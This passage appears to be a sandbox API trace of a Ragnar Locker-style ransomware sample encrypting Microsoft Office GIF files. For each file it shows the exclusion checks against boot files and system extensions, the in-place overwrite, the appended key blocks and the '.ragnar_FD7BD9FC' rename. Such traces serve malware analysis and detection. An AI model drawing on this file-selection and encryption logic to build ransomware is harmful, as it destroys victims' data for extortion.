lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF.ragnar_FD7BD9FC" [0099.516] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.518] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9724a400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9724a400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15058_.GIF", cAlternateFileName="")) returned 1 [0099.518] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.518] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15058_.GIF" | out: lpString1="BD15058_.GIF") returned="BD15058_.GIF" [0099.521] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF") returned=".GIF" [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="autorun.inf") returned 1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="boot.ini") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="bootfont.bin") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="bootsect.bak") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="bootmgr") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="bootmgr.efi") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="desktop.ini") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="iconcache.db") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="ntldr") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="ntuser.dat") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="ntuser.ini") returned -1 [0099.521] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="thumbs.db") returned -1 [0099.521] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.521] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.521] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.521] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.521] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.521] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.521] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif")) returned 0x20 [0099.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.522] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=199) returned 1 [0099.522] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.522] GetProcessHeap () returned 0x580000 [0099.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.522] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.523] VirtualAlloc (lpAddress=0x0, dwSize=0xc7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.523] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.523] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.523] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc7, lpOverlapped=0x0) returned 1 [0099.523] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.523] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc7, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.523] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc7, lpOverlapped=0x0) returned 1 [0099.524] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.524] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.524] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.524] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.524] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.524] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.524] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.524] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.524] GetProcessHeap () returned 0x580000 [0099.524] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.524] CloseHandle (hObject=0x10c) returned 1 [0099.524] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" [0099.524] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF.ragnar_FD7BD9FC" [0099.524] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.533] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319bbb00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x319bbb00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15059_.GIF", cAlternateFileName="")) returned 1 [0099.533] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.533] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15059_.GIF" | out: lpString1="BD15059_.GIF") returned="BD15059_.GIF" [0099.533] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF") returned=".GIF" [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="autorun.inf") returned 1 [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="boot.ini") returned -1 [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="bootfont.bin") returned -1 [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="bootsect.bak") returned -1 [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="bootmgr") returned -1 [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="bootmgr.efi") returned -1 [0099.533] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.534] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="desktop.ini") returned -1 [0099.534] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="iconcache.db") returned -1 [0099.534] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="ntldr") returned -1 [0099.534] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="ntuser.dat") returned -1 [0099.534] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.534] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="ntuser.ini") returned -1 [0099.534] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="thumbs.db") returned -1 [0099.534] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.534] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.534] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.534] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.534] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.534] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.534] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif")) returned 0x20 [0099.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.535] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=170) returned 1 [0099.535] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.535] GetProcessHeap () returned 0x580000 [0099.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.535] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.536] VirtualAlloc (lpAddress=0x0, dwSize=0xaa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.537] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.537] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.537] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaa, lpOverlapped=0x0) returned 1 [0099.537] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.537] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaa, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.537] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaa, lpOverlapped=0x0) returned 1 [0099.537] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.537] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.537] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.537] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.537] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.537] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.537] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.538] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.538] GetProcessHeap () returned 0x580000 [0099.538] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.538] CloseHandle (hObject=0x10c) returned 1 [0099.538] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" [0099.538] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF.ragnar_FD7BD9FC" [0099.538] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.540] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306a8e00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x306a8e00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15060_.GIF", cAlternateFileName="")) returned 1 [0099.540] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.540] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15060_.GIF" | out: lpString1="BD15060_.GIF") returned="BD15060_.GIF" [0099.540] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF") returned=".GIF" [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="autorun.inf") returned 1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="boot.ini") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="bootfont.bin") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="bootsect.bak") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="bootmgr") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="bootmgr.efi") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="desktop.ini") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="iconcache.db") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="ntldr") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="ntuser.dat") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="ntuser.ini") returned -1 [0099.540] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="thumbs.db") returned -1 [0099.540] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.540] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.540] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.540] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.540] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.541] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.541] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif")) returned 0x20 [0099.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.542] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=120) returned 1 [0099.542] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.542] GetProcessHeap () returned 0x580000 [0099.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.542] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.543] VirtualAlloc (lpAddress=0x0, dwSize=0x78, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.543] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.543] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.543] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x78, lpOverlapped=0x0) returned 1 [0099.543] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.543] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.544] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x78, lpOverlapped=0x0) returned 1 [0099.544] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.544] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.544] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.544] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.544] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.544] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.544] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.544] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.544] GetProcessHeap () returned 0x580000 [0099.544] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.544] CloseHandle (hObject=0x10c) returned 1 [0099.544] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" [0099.544] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF.ragnar_FD7BD9FC" [0099.544] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif"), 